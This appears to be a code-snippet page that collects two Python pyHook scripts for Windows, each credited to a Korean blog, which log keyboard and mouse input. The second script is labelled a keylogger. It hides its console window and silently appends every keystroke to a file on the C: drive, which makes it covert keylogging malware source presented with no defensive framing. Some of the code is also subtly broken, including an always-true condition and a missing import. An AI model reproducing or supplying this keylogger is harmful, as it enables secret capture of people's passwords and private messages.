Rotiple

import os
import time
import pyHook # http://sourceforge.net/projects/pyhook/
from win32gui import GetWindowRect, GetClassName, GetWindowText
##http://sourceforge.net/projects/pywin32/files/pywin32/Build216/


curTime = time.strftime("%Y%m%d_%H%M%S", time.localtime(time.time()))

if not os.path.exists("Messages"):
	os.mkdir("Messages")
	print "Make Message Directory "
f = open("Messages\\messages"+ curTime +".txt", "w")

def Log(logStr):
	print "In logging "
	print str(logStr)
	f.write(logStr + "\n")

  
def OnMouseEvent(event):
	print "On Mouse Event "
	Log('MessageName:' + str(event.MessageName))
	Log('Message:' + str(event.Message))
	Log('Time:' + str(event.Time))
	Log('Window:' + str(event.Window))
	if event.Window != 0:
		Log('Window Rect:' + str( GetWindowRect(event.Window)))
		Log('Window Class Name:' + str( GetClassName(event.Window)))
		#Log('Window Text:' + str( GetWindowText(event.Window)))
		Log('WindowName:' + str(event.WindowName))
		Log('Position:' + str(event.Position))
		Log('Wheel:' + str(event.Wheel))
		Log('Injected:' + str(event.Injected))
		Log('---')

		# return True to pass the event to other handlers
		# return False to stop the event from propagating
	return True

def OnKeyboardEvent(event):
	print "On keyboard Event "
	Log('MessageName:' + str(event.MessageName))
	Log('Message:' + str(event.Message))
	Log('Time:' + str(event.Time))
	Log('Window:' + str(event.Window))
	if event.Window != 0:
		Log('Window Rect:' + str( GetWindowRect(event.Window)))
		Log('Window Class Name:' + str( GetClassName(event.Window)))
		Log('Window Text:' + str( GetWindowText(event.Window)))
		Log('WindowName:' + str(event.WindowName))
		Log('Ascii:' + str( event.Ascii) + str( chr(event.Ascii)))
		Log('Key:' + str( event.Key))
		Log('KeyID:' + str( event.KeyID))
		Log('ScanCode:' + str( event.ScanCode))
		Log('Extended:' + str( event.Extended))
		Log('Injected:' + str( event.Injected))
		Log('Alt' + str( event.Alt))
		Log('Transition' + str( event.Transition))
		Log('---')

	# return True to pass the event to other handlers
	# return False to stop the event from propagating
	return True

	# create the hook mananger
hm = pyHook.HookManager()
# register two callbacks
hm.MouseAllButtonsDown = OnMouseEvent
hm.KeyDown = OnKeyboardEvent

# hook into the mouse and keyboard events
hm.HookMouse()
hm.HookKeyboard()

if __name__ == '__main__':
	import pythoncom
	pythoncom.PumpMessages()
[출처] http://k1rha.tistory.com/432
import win32api
import win32console
import win32gui
import pythoncom,pyHook
 
win=win32console.GetConsoleWindow()
win32gui.ShowWindow(win,0)
 
def OnKeyboardEvent(event):
    if event.Ascii==5:
        _exit(1)
    if event.Ascii !=0 or 8:
        f=open('c:\output.txt','r+')
        buffer=f.read()
        f.close()
        f=open('c:\output.txt','w')
        keylogs=chr(event.Ascii)
        if event.Ascii==13:
            keylogs='/n'
        buffer+=keylogs
        f.write(buffer)
        f.close()
hm=pyHook.HookManager()
hm.KeyDown=OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
[출처] 파이썬 키로거(Python Keylogger)|작성자 해피용